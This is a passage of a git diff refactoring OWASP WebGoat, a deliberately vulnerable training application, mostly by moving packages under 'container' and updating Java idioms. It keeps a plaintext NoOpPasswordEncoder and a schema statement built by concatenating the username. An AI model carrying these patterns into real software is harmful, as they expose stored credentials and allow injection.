* Loads all normal WebGoat specific Thymeleaf templates
*/
@Bean
public ITemplateResolver springThymeleafTemplateResolver(ApplicationContext applicationContext) {
SpringResourceTemplateResolver resolver = new SpringResourceTemplateResolver();
resolver.setPrefix("classpath:/templates/");
resolver.setPrefix("classpath:/webgoat/templates/");
resolver.setSuffix(".html");
resolver.setTemplateMode(TemplateMode.HTML);
resolver.setOrder(2);
resolver.setCacheable(false);
resolver.setCharacterEncoding(UTF8);
resolver.setApplicationContext(applicationContext);
return resolver;
}
/**
* Loads the html for the complete lesson, see lesson_content.html
*/
@Bean
public LessonTemplateResolver lessonTemplateResolver(ResourceLoader resourceLoader) {
LessonTemplateResolver resolver = new LessonTemplateResolver(resourceLoader);
@ -102,9 +139,12 @@ public class MvcConfiguration implements WebMvcConfigurer {
return resolver;
}
/**
* Loads the lesson asciidoc.
*/
@Bean
public AsciiDoctorTemplateResolver asciiDoctorTemplateResolver(Language language) {
AsciiDoctorTemplateResolver resolver = new AsciiDoctorTemplateResolver(language);
public AsciiDoctorTemplateResolver asciiDoctorTemplateResolver(ResourceLoader resourceLoader) {
AsciiDoctorTemplateResolver resolver = new AsciiDoctorTemplateResolver(resourceLoader);
resolver.setCacheable(false);
resolver.setOrder(1);
resolver.setCharacterEncoding(UTF8);
@ -114,26 +154,37 @@ public class MvcConfiguration implements WebMvcConfigurer {
@Bean
public SpringTemplateEngine thymeleafTemplateEngine(ITemplateResolver springThymeleafTemplateResolver,
LessonTemplateResolver lessonTemplateResolver,
AsciiDoctorTemplateResolver asciiDoctorTemplateResolver) {
AsciiDoctorTemplateResolver asciiDoctorTemplateResolver,
ITemplateResolver lessonThymeleafTemplateResolver) {
SpringTemplateEngine engine = new SpringTemplateEngine();
engine.setEnableSpringELCompiler(true);
engine.addDialect(new SpringSecurityDialect());
engine.setTemplateResolvers(
Set.of(lessonTemplateResolver, asciiDoctorTemplateResolver, springThymeleafTemplateResolver));
Set.of(lessonTemplateResolver, asciiDoctorTemplateResolver, lessonThymeleafTemplateResolver, springThymeleafTemplateResolver));
return engine;
}
@Override
public void addResourceHandlers(ResourceHandlerRegistry registry) {
registry.addResourceHandler("/images/**").addResourceLocations("classpath:/images/");
registry.addResourceHandler("/lesson_js/**").addResourceLocations("classpath:/js/");
registry.addResourceHandler("/lesson_css/**").addResourceLocations("classpath:/css/");
registry.addResourceHandler("/video/**").addResourceLocations("classpath:/video/");
//WebGoat internal
registry.addResourceHandler("/css/**").addResourceLocations("classpath:/webgoat/static/css/");
registry.addResourceHandler("/js/**")
.addResourceLocations("classpath:/webgoat/static/js/");
registry.addResourceHandler("/plugins/**").addResourceLocations("classpath:/webgoat/static/plugins/");
registry.addResourceHandler("/fonts/**").addResourceLocations("classpath:/webgoat/static/fonts/");
//WebGoat lessons
registry.addResourceHandler("/images/**").addResourceLocations(lessonScanner.applyPattern("classpath:/lessons/%s/images/").toArray(String[]::new));
registry.addResourceHandler("/lesson_js/**").addResourceLocations(lessonScanner.applyPattern("classpath:/lessons/%s/js/").toArray(String[]::new));
registry.addResourceHandler("/lesson_css/**").addResourceLocations(lessonScanner.applyPattern("classpath:/lessons/%s/css/").toArray(String[]::new));
registry.addResourceHandler("/lesson_templates/**").addResourceLocations(lessonScanner.applyPattern("classpath:/lessons/%s/templates/").toArray(String[]::new));
registry.addResourceHandler("/video/**").addResourceLocations(lessonScanner.applyPattern("classpath:/lessons/%s/video/").toArray(String[]::new));
}
@Bean
public PluginMessages pluginMessages(Messages messages, Language language) {
PluginMessages pluginMessages = new PluginMessages(messages, language);
public PluginMessages pluginMessages(Messages messages, Language language,
ResourcePatternResolver resourcePatternResolver) {
PluginMessages pluginMessages = new PluginMessages(messages, language, resourcePatternResolver);
pluginMessages.setDefaultEncoding("UTF-8");
pluginMessages.setBasenames("i18n/WebGoatLabels");
pluginMessages.setFallbackToSystemLocale(false);
@ -156,13 +207,12 @@ public class MvcConfiguration implements WebMvcConfigurer {
@Bean
public LocaleResolver localeResolver() {
SessionLocaleResolver slr = new SessionLocaleResolver();
return slr;
return new SessionLocaleResolver();
}
@Bean
public LabelDebugger labelDebugger() {
return new LabelDebugger();
}
}
}

View File

@ -29,13 +29,16 @@
* @since October 28, 2003
*/
package org.owasp.webgoat;
package org.owasp.webgoat.container;
import org.owasp.webgoat.session.UserSessionData;
import org.owasp.webgoat.session.WebSession;
import org.owasp.webgoat.container.session.UserSessionData;
import org.owasp.webgoat.container.session.WebSession;
import org.springframework.beans.factory.annotation.Value;
import org.springframework.boot.autoconfigure.EnableAutoConfiguration;
import org.springframework.context.annotation.Bean;
import org.springframework.context.annotation.ComponentScan;
import org.springframework.context.annotation.Configuration;
import org.springframework.context.annotation.PropertySource;
import org.springframework.context.annotation.Scope;
import org.springframework.context.annotation.ScopedProxyMode;
import org.springframework.web.client.RestTemplate;
@ -43,6 +46,9 @@ import org.springframework.web.client.RestTemplate;
import java.io.File;
@Configuration
@ComponentScan(basePackages = { "org.owasp.webgoat.container", "org.owasp.webgoat.lessons"})
@PropertySource("classpath:application-webgoat.properties")
@EnableAutoConfiguration
public class WebGoat {
@Bean(name = "pluginTargetDirectory")

View File

@ -28,10 +28,10 @@
* @since December 12, 2015
*/
package org.owasp.webgoat;
package org.owasp.webgoat.container;
import lombok.AllArgsConstructor;
import org.owasp.webgoat.users.UserService;
import org.owasp.webgoat.container.users.UserService;
import org.springframework.beans.factory.annotation.Autowired;
import org.springframework.context.annotation.Bean;
import org.springframework.context.annotation.Configuration;
@ -77,7 +77,7 @@ public class WebSecurityConfig extends WebSecurityConfigurerAdapter {
@Autowired
public void configureGlobal(AuthenticationManagerBuilder auth) throws Exception {
auth.userDetailsService(userDetailsService); //.passwordEncoder(bCryptPasswordEncoder());
auth.userDetailsService(userDetailsService);
}
@Bean
@ -97,4 +97,4 @@ public class WebSecurityConfig extends WebSecurityConfigurerAdapter {
public NoOpPasswordEncoder passwordEncoder() {
return (NoOpPasswordEncoder) NoOpPasswordEncoder.getInstance();
}
}
}

View File

@ -0,0 +1,21 @@
package org.owasp.webgoat.container;
import lombok.RequiredArgsConstructor;
import org.springframework.context.ApplicationContext;
import org.springframework.stereotype.Controller;
import org.springframework.web.bind.annotation.GetMapping;
import org.springframework.web.servlet.ModelAndView;
@Controller
@RequiredArgsConstructor
public class WebWolfRedirect {
private final ApplicationContext applicationContext;
@GetMapping("/WebWolf")
public ModelAndView openWebWolf() {
var url = applicationContext.getEnvironment().getProperty("webwolf.url");
return new ModelAndView("redirect:" + url + "/home");
}
}

View File

@ -1,4 +1,4 @@
package org.owasp.webgoat.asciidoc;
package org.owasp.webgoat.container.asciidoc;
import org.springframework.beans.BeansException;
import org.springframework.context.ApplicationContext;

View File

@ -1,4 +1,4 @@
package org.owasp.webgoat.asciidoc;
package org.owasp.webgoat.container.asciidoc;
import org.asciidoctor.ast.ContentNode;
import org.asciidoctor.extension.InlineMacroProcessor;

View File

@ -1,8 +1,8 @@
package org.owasp.webgoat.asciidoc;
package org.owasp.webgoat.container.asciidoc;
import org.asciidoctor.ast.ContentNode;
import org.asciidoctor.extension.InlineMacroProcessor;
import org.owasp.webgoat.users.WebGoatUser;
import org.owasp.webgoat.container.users.WebGoatUser;
import org.springframework.security.core.context.SecurityContextHolder;
import java.util.Map;
@ -21,8 +21,8 @@ public class UsernameMacro extends InlineMacroProcessor {
public Object process(ContentNode contentNode, String target, Map<String, Object> attributes) {
var auth = SecurityContextHolder.getContext().getAuthentication();
var username = "unknown";
if (auth.getPrincipal() instanceof WebGoatUser) {
username = ((WebGoatUser) auth.getPrincipal()).getUsername();
if (auth.getPrincipal() instanceof WebGoatUser webGoatUser) {
username = webGoatUser.getUsername();
}
//see https://discuss.asciidoctor.org/How-to-create-inline-macro-producing-HTML-In-AsciidoctorJ-td8313.html for why quoted is used

View File

@ -1,4 +1,4 @@
package org.owasp.webgoat.asciidoc;
package org.owasp.webgoat.container.asciidoc;
import org.asciidoctor.ast.ContentNode;
import org.asciidoctor.extension.InlineMacroProcessor;

View File

@ -1,4 +1,4 @@
package org.owasp.webgoat.asciidoc;
package org.owasp.webgoat.container.asciidoc;
import org.asciidoctor.ast.ContentNode;
import org.asciidoctor.extension.InlineMacroProcessor;

View File

@ -1,4 +1,4 @@
package org.owasp.webgoat.asciidoc;
package org.owasp.webgoat.container.asciidoc;
import org.asciidoctor.ast.ContentNode;
import org.asciidoctor.extension.InlineMacroProcessor;
@ -27,7 +27,7 @@ public class WebWolfMacro extends InlineMacroProcessor {
@Override
public Object process(ContentNode contentNode, String linkText, Map<String, Object> attributes) {
var env = EnvironmentExposure.getEnv();
var hostname = determineHost(env.getProperty("webwolf.host"), env.getProperty("webwolf.port"));
var hostname = determineHost(env.getProperty("webwolf.port"));
var target = (String) attributes.getOrDefault("target", "home");
var href = hostname + "/" + target;
@ -44,7 +44,7 @@ public class WebWolfMacro extends InlineMacroProcessor {
}
private boolean displayCompleteLinkNoFormatting(Map<String, Object> attributes) {
return attributes.values().stream().filter(a -> a.equals("noLink")).findFirst().isPresent();
return attributes.values().stream().anyMatch(a -> a.equals("noLink"));
}
/**
@ -54,9 +54,9 @@ public class WebWolfMacro extends InlineMacroProcessor {
* You do not have to use the indicated hostname, but if you do, you should define two hosts aliases
* 127.0.0.1 www.webgoat.local www.webwolf.local
*/
private String determineHost(String host, String port) {
private String determineHost(String port) {
HttpServletRequest request = ((ServletRequestAttributes) RequestContextHolder.currentRequestAttributes()).getRequest();
host = request.getHeader("Host");
String host = request.getHeader("Host");
int semicolonIndex = host.indexOf(":");
if (semicolonIndex == -1 || host.endsWith(":80")) {
host = host.replace(":80", "").replace("www.webgoat.local", "www.webwolf.local");

View File

@ -1,4 +1,4 @@
package org.owasp.webgoat.asciidoc;
package org.owasp.webgoat.container.asciidoc;
import java.util.Map;
@ -18,6 +18,7 @@ public class WebWolfRootMacro extends WebWolfMacro {
super(macroName, config);
}
@Override
protected boolean includeWebWolfContext() {
return false;
}

View File

@ -23,16 +23,17 @@
* <p>
*/
package org.owasp.webgoat.assignments;
package org.owasp.webgoat.container.assignments;
import lombok.Getter;
import org.owasp.webgoat.i18n.PluginMessages;
import org.owasp.webgoat.session.UserSessionData;
import org.owasp.webgoat.session.WebSession;
import org.owasp.webgoat.users.UserTrackerRepository;
import org.owasp.webgoat.container.i18n.PluginMessages;
import org.owasp.webgoat.container.lessons.Initializeable;
import org.owasp.webgoat.container.session.UserSessionData;
import org.owasp.webgoat.container.session.WebSession;
import org.owasp.webgoat.container.users.WebGoatUser;
import org.springframework.beans.factory.annotation.Autowired;
public abstract class AssignmentEndpoint {
public abstract class AssignmentEndpoint implements Initializeable {
@Autowired
private WebSession webSession;
@ -83,4 +84,8 @@ public abstract class AssignmentEndpoint {
protected AttackResult.AttackResultBuilder informationMessage(AssignmentEndpoint assignment) {
return AttackResult.builder(messages).lessonCompleted(false).assignment(assignment);
}
@Override
public void initialize(WebGoatUser user) {
}
}

View File

@ -1,4 +1,4 @@
package org.owasp.webgoat.assignments;
package org.owasp.webgoat.container.assignments;
import java.lang.annotation.ElementType;
import java.lang.annotation.Retention;

View File

@ -1,4 +1,4 @@
package org.owasp.webgoat.assignments;
package org.owasp.webgoat.container.assignments;
import org.springframework.web.bind.annotation.RequestMethod;

View File

@ -23,11 +23,12 @@
* <p>
*/
package org.owasp.webgoat.assignments;
package org.owasp.webgoat.container.assignments;
import lombok.Getter;
import org.apache.commons.lang3.StringEscapeUtils;
import org.owasp.webgoat.i18n.PluginMessages;
import org.owasp.webgoat.container.i18n.PluginMessages;
import static org.apache.commons.text.StringEscapeUtils.escapeJson;
public class AttackResult {
@ -107,8 +108,8 @@ public class AttackResult {
public AttackResult(boolean lessonCompleted, String feedback, String output, String assignment, boolean attemptWasMade) {
this.lessonCompleted = lessonCompleted;
this.feedback = StringEscapeUtils.escapeJson(feedback);
this.output = StringEscapeUtils.escapeJson(output);
this.feedback = escapeJson(feedback);
this.output = escapeJson(output);
this.assignment = assignment;
this.attemptWasMade = attemptWasMade;
}

View File

@ -20,11 +20,11 @@
* Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository for free software projects.
*/
package org.owasp.webgoat.assignments;
package org.owasp.webgoat.container.assignments;
import org.owasp.webgoat.session.WebSession;
import org.owasp.webgoat.users.UserTracker;
import org.owasp.webgoat.users.UserTrackerRepository;
import org.owasp.webgoat.container.session.WebSession;
import org.owasp.webgoat.container.users.UserTracker;
import org.owasp.webgoat.container.users.UserTrackerRepository;
import org.springframework.core.MethodParameter;
import org.springframework.http.MediaType;
import org.springframework.http.converter.HttpMessageConverter;
@ -51,8 +51,8 @@ public class LessonTrackerInterceptor implements ResponseBodyAdvice<Object> {
@Override
public Object beforeBodyWrite(Object o, MethodParameter methodParameter, MediaType mediaType, Class<? extends HttpMessageConverter<?>> aClass, ServerHttpRequest serverHttpRequest, ServerHttpResponse serverHttpResponse) {
if (o != null && o instanceof AttackResult) {
trackProgress((AttackResult) o);
if (o instanceof AttackResult attackResult) {
trackProgress(attackResult);
}
return o;
}

View File

@ -29,21 +29,16 @@
* @since October 28, 2003
*/
package org.owasp.webgoat.controller;
package org.owasp.webgoat.container.controller;
import org.owasp.webgoat.lessons.Lesson;
import org.owasp.webgoat.session.Course;
import org.owasp.webgoat.session.WebSession;
import org.springframework.security.core.context.SecurityContext;
import org.springframework.security.core.context.SecurityContextHolder;
import org.owasp.webgoat.container.session.Course;
import org.owasp.webgoat.container.session.WebSession;
import org.springframework.stereotype.Controller;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.RequestMethod;
import org.springframework.web.servlet.ModelAndView;
import javax.servlet.http.HttpServletRequest;
import java.util.List;
import java.util.Optional;
@Controller
@ -52,7 +47,7 @@ public class StartLesson {
private final WebSession ws;
private final Course course;
public StartLesson(final WebSession ws, final Course course) {
public StartLesson(WebSession ws, Course course) {
this.ws = ws;
this.course = course;
}
@ -64,29 +59,30 @@ public class StartLesson {
*/
@RequestMapping(path = "startlesson.mvc", method = {RequestMethod.GET, RequestMethod.POST})
public ModelAndView start() {
ModelAndView model = new ModelAndView();
var model = new ModelAndView();
model.addObject("course", course);
model.addObject("lesson", ws.getCurrentLesson());
model.setViewName("lesson_content");
return model;
}
@RequestMapping(value = {"*.lesson"}, produces = "text/html")
public ModelAndView lessonPage(HttpServletRequest request) {
// I will set here the thymeleaf fragment location based on the resource requested.
ModelAndView model = new ModelAndView();
SecurityContext context = SecurityContextHolder.getContext(); //TODO this should work with the security roles of Spring
//GrantedAuthority authority = context.getAuthentication().getAuthorities().iterator().next();
String path = request.getRequestURL().toString(); // we now got /a/b/c/AccessControlMatrix.lesson
String lessonName = path.substring(path.lastIndexOf('/') + 1, path.indexOf(".lesson"));
List<? extends Lesson> lessons = course.getLessons();
Optional<? extends Lesson> lesson = lessons.stream()
var model = new ModelAndView("lesson_content");
var path = request.getRequestURL().toString(); // we now got /a/b/c/AccessControlMatrix.lesson
var lessonName = path.substring(path.lastIndexOf('/') + 1, path.indexOf(".lesson"));
course.getLessons()
.stream()
.filter(l -> l.getId().equals(lessonName))
.findFirst();
ws.setCurrentLesson(lesson.get());
model.setViewName("lesson_content");
model.addObject("lesson", lesson.get());
.findFirst()
.ifPresent(lesson -> {
ws.setCurrentLesson(lesson);
model.addObject("lesson", lesson);
});
return model;
}

View File

@ -29,11 +29,10 @@
* @version $Id: $Id
*/
package org.owasp.webgoat.controller;
package org.owasp.webgoat.container.controller;
import org.springframework.stereotype.Controller;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.RequestMethod;
import org.springframework.web.bind.annotation.GetMapping;
import org.springframework.web.servlet.ModelAndView;
import javax.servlet.http.HttpServletRequest;
@ -56,7 +55,7 @@ public class Welcome {
* @param request a {@link javax.servlet.http.HttpServletRequest} object.
* @return a {@link org.springframework.web.servlet.ModelAndView} object.
*/
@RequestMapping(path = {"welcome.mvc", "/"}, method = RequestMethod.GET)
@GetMapping(path = {"welcome.mvc"})
public ModelAndView welcome(HttpServletRequest request) {
// set the welcome attribute
@ -69,8 +68,6 @@ public class Welcome {
//go ahead and send them to webgoat (skip the welcome page)
ModelAndView model = new ModelAndView();
//model.setViewName("welcome");
//model.setViewName("main_new");
model.setViewName("forward:/attack?start=true");
return model;
}

View File

@ -23,7 +23,7 @@
* <p>
*/
package org.owasp.webgoat.i18n;
package org.owasp.webgoat.container.i18n;
import lombok.AllArgsConstructor;
import org.springframework.web.context.request.RequestContextHolder;

View File

@ -23,7 +23,7 @@
* <p>
*/
package org.owasp.webgoat.i18n;
package org.owasp.webgoat.container.i18n;
import lombok.AllArgsConstructor;
import org.springframework.context.support.ReloadableResourceBundleMessageSource;

View File

@ -23,14 +23,12 @@
* <p>
*/
package org.owasp.webgoat.i18n;
package org.owasp.webgoat.container.i18n;
import org.springframework.context.support.ReloadableResourceBundleMessageSource;
import org.springframework.core.io.support.ResourcePatternResolver;
import java.io.IOException;
import java.net.URISyntaxException;
import java.net.URL;
import java.util.Enumeration;
import java.util.Properties;
/**
@ -42,12 +40,15 @@ import java.util.Properties;
public class PluginMessages extends ReloadableResourceBundleMessageSource {
private static final String PROPERTIES_SUFFIX = ".properties";
private Language language;
private final Language language;
private final ResourcePatternResolver resourcePatternResolver;
public PluginMessages(Messages messages, Language language) {
public PluginMessages(Messages messages, Language language, ResourcePatternResolver resourcePatternResolver) {
this.language = language;
this.setParentMessageSource(messages);
this.setBasename("WebGoatLabels");
this.resourcePatternResolver = resourcePatternResolver;
}
@Override
@ -55,16 +56,15 @@ public class PluginMessages extends ReloadableResourceBundleMessageSource {
Properties properties = new Properties();
long lastModified = System.currentTimeMillis();
Enumeration<URL> resources = null;
try {
resources = Thread.currentThread().getContextClassLoader().getResources(filename + PROPERTIES_SUFFIX);
while (resources.hasMoreElements()) {
URL resource = resources.nextElement();
String sourcePath = resource.toURI().toString().replace(PROPERTIES_SUFFIX, "");
var resources = resourcePatternResolver.getResources("classpath:/lessons/**/i18n" +
"/WebGoatLabels" + PROPERTIES_SUFFIX);
for (var resource : resources) {
String sourcePath = resource.getURI().toString().replace(PROPERTIES_SUFFIX, "");
PropertiesHolder holder = super.refreshProperties(sourcePath, propHolder);
properties.putAll(holder.getProperties());
}
} catch (IOException | URISyntaxException e) {
} catch (IOException e) {
logger.error("Unable to read plugin message", e);
}

View File

@ -1,4 +1,4 @@
package org.owasp.webgoat.lessons;
package org.owasp.webgoat.container.lessons;
import lombok.*;
@ -66,14 +66,4 @@ public class Assignment {
this.hints = hints;
}
/**
* Set path is here to overwrite stored paths.
* Since a stored path can no longer be used in a lesson while
* the lesson (name) itself is still part of the lesson.
*
* @param pathName the path
*/
public void setPath(String pathName) {
this.path = pathName;
}
}

View File

@ -1,4 +1,4 @@
package org.owasp.webgoat.lessons;
package org.owasp.webgoat.container.lessons;
import lombok.Getter;

View File

@ -20,14 +20,14 @@
* Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository for free software projects.
*/
package org.owasp.webgoat.lessons;
package org.owasp.webgoat.container.lessons;
import lombok.extern.slf4j.Slf4j;
import org.apache.commons.lang3.ArrayUtils;
import org.owasp.webgoat.assignments.AssignmentEndpoint;
import org.owasp.webgoat.assignments.AssignmentHints;
import org.owasp.webgoat.assignments.AttackResult;
import org.owasp.webgoat.session.Course;
import org.owasp.webgoat.container.assignments.AssignmentEndpoint;
import org.owasp.webgoat.container.assignments.AssignmentHints;
import org.owasp.webgoat.container.assignments.AttackResult;
import org.owasp.webgoat.container.session.Course;
import org.springframework.context.annotation.Bean;
import org.springframework.context.annotation.Configuration;
import org.springframework.util.CollectionUtils;
@ -67,9 +67,11 @@ public class CourseConfiguration {
var endpoints = assignmentsByPackage.get(lesson.getClass().getPackageName());
if (CollectionUtils.isEmpty(endpoints)) {
log.warn("Lesson: {} has no endpoints, is this intentionally?", lesson.getTitle());
return new ArrayList();
return new ArrayList<>();
}
return endpoints.stream().map(e -> new Assignment(e.getClass().getSimpleName(), getPath(e.getClass()), getHints(e.getClass()))).collect(toList());
return endpoints.stream()
.map(e -> new Assignment(e.getClass().getSimpleName(), getPath(e.getClass()), getHints(e.getClass())))
.toList();
}
private String getPath(Class<? extends AssignmentEndpoint> e) {

View File

@ -25,7 +25,7 @@
*
*/
package org.owasp.webgoat.lessons;
package org.owasp.webgoat.container.lessons;
import lombok.Value;

View File

@ -0,0 +1,12 @@
package org.owasp.webgoat.container.lessons;
import org.owasp.webgoat.container.users.WebGoatUser;
/**
* Interface for initialization of a lesson. It is called when a new user is added to WebGoat and when a users
* reset a lesson. Make sure to clean beforehand and then re-initialize the lesson.
*/
public interface Initializeable {
void initialize(WebGoatUser webGoatUser);
}

View File

@ -20,11 +20,10 @@
* Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository for free software projects.
*/
package org.owasp.webgoat.lessons;
package org.owasp.webgoat.container.lessons;
import lombok.Getter;
import lombok.Setter;
import lombok.Singular;
import java.util.List;
@ -39,7 +38,7 @@ public abstract class Lesson {
/**
* Constructor for the Lesson object
*/
public Lesson() {
protected Lesson() {
id = ++count;
}
@ -66,7 +65,7 @@ public abstract class Lesson {
/**
* <p>getDefaultCategory.</p>
*
* @return a {@link org.owasp.webgoat.lessons.Category} object.
* @return a {@link org.owasp.webgoat.container.lessons.Category} object.
*/
protected abstract Category getDefaultCategory();
@ -122,4 +121,16 @@ public abstract class Lesson {
public final String getId() {
return this.getClass().getSimpleName();
}
public final String getPackage() {
var packageName = this.getClass().getPackageName();
//package name is the direct package name below lessons (any subpackage will be removed)
return packageName.replaceAll("org.owasp.webgoat.lessons.", "").replaceAll("\\..*", "");
}
}

View File

@ -1,6 +1,7 @@
package org.owasp.webgoat.lessons;
package org.owasp.webgoat.container.lessons;
import org.owasp.webgoat.users.WebGoatUser;
import lombok.extern.slf4j.Slf4j;
import org.owasp.webgoat.container.users.WebGoatUser;
import org.springframework.security.core.context.SecurityContextHolder;
import java.lang.reflect.InvocationHandler;
@ -12,6 +13,7 @@ import java.sql.Connection;
* Handler which sets the correct schema for the currently bounded user. This way users are not seeing each other
* data and we can reset data for just one particular user.
*/
@Slf4j
public class LessonConnectionInvocationHandler implements InvocationHandler {
private final Connection targetConnection;
@ -23,9 +25,10 @@ public class LessonConnectionInvocationHandler implements InvocationHandler {
@Override
public Object invoke(Object proxy, Method method, Object[] args) throws Throwable {
var authentication = SecurityContextHolder.getContext().getAuthentication();
if (authentication != null && authentication.getPrincipal() instanceof WebGoatUser) {
var user = (WebGoatUser) authentication.getPrincipal();
targetConnection.createStatement().execute("SET SCHEMA \"" + user.getUsername() + "\"");
if (authentication != null && authentication.getPrincipal() instanceof WebGoatUser user) {
try (var statement = targetConnection.createStatement()) {
statement.execute("SET SCHEMA \"" + user.getUsername() + "\"");
}
}
try {
return method.invoke(targetConnection, args);

View File

@ -1,4 +1,4 @@
package org.owasp.webgoat.lessons;
package org.owasp.webgoat.container.lessons;
import lombok.AllArgsConstructor;
import lombok.Getter;

View File

@ -27,7 +27,7 @@
* https://github.com/WebGoat/WebGoat, a repository for free software projects.
*/
package org.owasp.webgoat.lessons;
package org.owasp.webgoat.container.lessons;
import java.util.ArrayList;
import java.util.List;
@ -42,7 +42,7 @@ public class LessonMenuItem {
private String name;
private LessonMenuItemType type;
private List<LessonMenuItem> children = new ArrayList<LessonMenuItem>();
private List<LessonMenuItem> children = new ArrayList<>();
private boolean complete;
private String link;
private int ranking;

View File

@ -25,7 +25,7 @@
*
*/
package org.owasp.webgoat.lessons;
package org.owasp.webgoat.container.lessons;
/**
* <p>LessonMenuItemType class.</p>

View File

@ -0,0 +1,46 @@
package org.owasp.webgoat.container.lessons;
import lombok.Getter;
import lombok.extern.slf4j.Slf4j;
import org.springframework.core.io.ClassPathResource;
import org.springframework.core.io.support.ResourcePatternResolver;
import org.springframework.stereotype.Component;
import java.io.IOException;
import java.util.ArrayList;
import java.util.HashSet;
import java.util.List;
import java.util.Set;
import java.util.regex.Pattern;
@Component
@Slf4j
public class LessonScanner {
private static final Pattern lessonPattern = Pattern.compile("^.*/lessons/([^/]*)/.*$");
@Getter
private final Set<String> lessons = new HashSet<>();
public LessonScanner(ResourcePatternResolver resourcePatternResolver) {
try {
var resources = resourcePatternResolver.getResources("classpath:/lessons/*/*");
for (var resource : resources) {
//WG can run as a fat jar or as directly from file system we need to support both so use the URL
var url = resource.getURL();
var matcher = lessonPattern.matcher(url.toString());
if (matcher.matches()) {
lessons.add(matcher.group(1));
}
}
log.debug("Found {} lessons", lessons.size());
} catch (IOException e) {
log.warn("No lessons found...");
}
}
public List<String> applyPattern(String pattern) {
return lessons.stream().map(lesson -> String.format(pattern, lesson)).toList();
}
}

View File

@ -0,0 +1,19 @@
package org.owasp.webgoat.container.service;
import lombok.RequiredArgsConstructor;
import org.springframework.context.ApplicationContext;
import org.springframework.web.bind.annotation.GetMapping;
import org.springframework.web.bind.annotation.RestController;
@RestController("/environment")
@RequiredArgsConstructor
public class EnvironmentService {
private final ApplicationContext context;
@GetMapping("/server-directory")
public String homeDirectory() {
return context.getEnvironment().getProperty("webgoat.server.directory");
}
}

View File

@ -4,20 +4,19 @@
* and open the template in the editor.
*/
package org.owasp.webgoat.service;
package org.owasp.webgoat.container.service;
import org.owasp.webgoat.lessons.Assignment;
import org.owasp.webgoat.lessons.Hint;
import org.owasp.webgoat.lessons.Lesson;
import org.owasp.webgoat.session.WebSession;
import org.owasp.webgoat.container.lessons.Assignment;
import org.owasp.webgoat.container.lessons.Hint;
import org.owasp.webgoat.container.lessons.Lesson;
import org.owasp.webgoat.container.session.WebSession;
import org.springframework.web.bind.annotation.GetMapping;
import org.springframework.web.bind.annotation.ResponseBody;
import org.springframework.web.bind.annotation.RestController;
import java.util.Collection;
import java.util.List;
import static java.util.stream.Collectors.toList;
/**
* <p>HintService class.</p>
*
@ -49,14 +48,14 @@ public class HintService {
private List<Hint> createAssignmentHints(Lesson l) {
if (l != null) {
return l.getAssignments().stream()
.map(a -> createHint(a))
.flatMap(hints -> hints.stream())
.collect(toList());
.map(this::createHint)
.flatMap(Collection::stream)
.toList();
}
return List.of();
}
private List<Hint> createHint(Assignment a) {
return a.getHints().stream().map(h -> new Hint(h, a.getPath())).collect(toList());
return a.getHints().stream().map(h -> new Hint(h, a.getPath())).toList();
}
}

View File

@ -27,11 +27,11 @@
* https://github.com/WebGoat/WebGoat, a repository for free software projects.
*/
package org.owasp.webgoat.service;
package org.owasp.webgoat.container.service;
import lombok.AllArgsConstructor;
import lombok.extern.slf4j.Slf4j;
import org.owasp.webgoat.session.LabelDebugger;
import org.owasp.webgoat.container.session.LabelDebugger;
import org.springframework.http.HttpStatus;
import org.springframework.http.MediaType;
import org.springframework.http.ResponseEntity;
@ -40,7 +40,6 @@ import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.RequestParam;
import org.springframework.web.bind.annotation.ResponseBody;
import java.util.HashMap;
import java.util.Map;
/**
@ -75,13 +74,13 @@ public class LabelDebugService {
/**
* Sets the enabled flag on the label debugger to the given parameter
* @param enabled {@link org.owasp.webgoat.session.LabelDebugger} object
* @throws Exception unhandled exception
*
* @param enabled {@link org.owasp.webgoat.container.session.LabelDebugger} object
* @return a {@link org.springframework.http.ResponseEntity} object.
*/
@RequestMapping(value = URL_DEBUG_LABELS_MVC, produces = MediaType.APPLICATION_JSON_VALUE, params = KEY_ENABLED)
public @ResponseBody
ResponseEntity<Map<String, Object>> setDebuggingStatus(@RequestParam("enabled") Boolean enabled) throws Exception {
ResponseEntity<Map<String, Object>> setDebuggingStatus(@RequestParam("enabled") Boolean enabled) {
log.debug("Setting label debugging to {} ", labelDebugger.isEnabled());
Map<String, Object> result = createResponse(enabled);
labelDebugger.setEnabled(enabled);
@ -89,13 +88,10 @@ public class LabelDebugService {
}
/**
* @param enabled {@link org.owasp.webgoat.session.LabelDebugger} object
* @param enabled {@link org.owasp.webgoat.container.session.LabelDebugger} object
* @return a {@link java.util.Map} object.
*/
private Map<String, Object> createResponse(Boolean enabled) {
Map<String, Object> result = new HashMap<String, Object>();
result.put(KEY_SUCCESS, Boolean.TRUE);
result.put(KEY_ENABLED, enabled);
return result;
return Map.of(KEY_SUCCESS, Boolean.TRUE, KEY_ENABLED, enabled);
}
}

View File

@ -27,25 +27,19 @@
* for free software projects.
*/
package org.owasp.webgoat.service;
package org.owasp.webgoat.container.service;
import lombok.AllArgsConstructor;
import lombok.RequiredArgsConstructor;
import lombok.extern.slf4j.Slf4j;
import org.owasp.webgoat.i18n.Messages;
import org.owasp.webgoat.i18n.PluginMessages;
import org.owasp.webgoat.container.i18n.Messages;
import org.owasp.webgoat.container.i18n.PluginMessages;
import org.springframework.http.HttpStatus;
import org.springframework.http.MediaType;
import org.springframework.http.ResponseEntity;
import org.springframework.util.StringUtils;
import org.springframework.web.bind.annotation.GetMapping;
import org.springframework.web.bind.annotation.RequestParam;
import org.springframework.web.bind.annotation.ResponseBody;
import org.springframework.web.bind.annotation.RestController;
import org.springframework.web.servlet.LocaleResolver;
import org.springframework.web.servlet.i18n.SessionLocaleResolver;
import javax.servlet.http.HttpServletRequest;
import java.util.Locale;
import java.util.Properties;
@ -56,35 +50,20 @@ import java.util.Properties;
*/
@RestController
@Slf4j
@AllArgsConstructor
@RequiredArgsConstructor
public class LabelService {
public static final String URL_LABELS_MVC = "/service/labels.mvc";
private LocaleResolver localeResolver;
private Messages messages;
private PluginMessages pluginMessages;
private final Messages messages;
private final PluginMessages pluginMessages;
/**
* We use Springs session locale resolver which also gives us the option to change the local later on. For
* now it uses the accept-language from the HttpRequest. If this language is not found it will default back
* to messages.properties.
* <p>
* Note although it is possible to use Spring language interceptor we for now opt for this solution, the UI
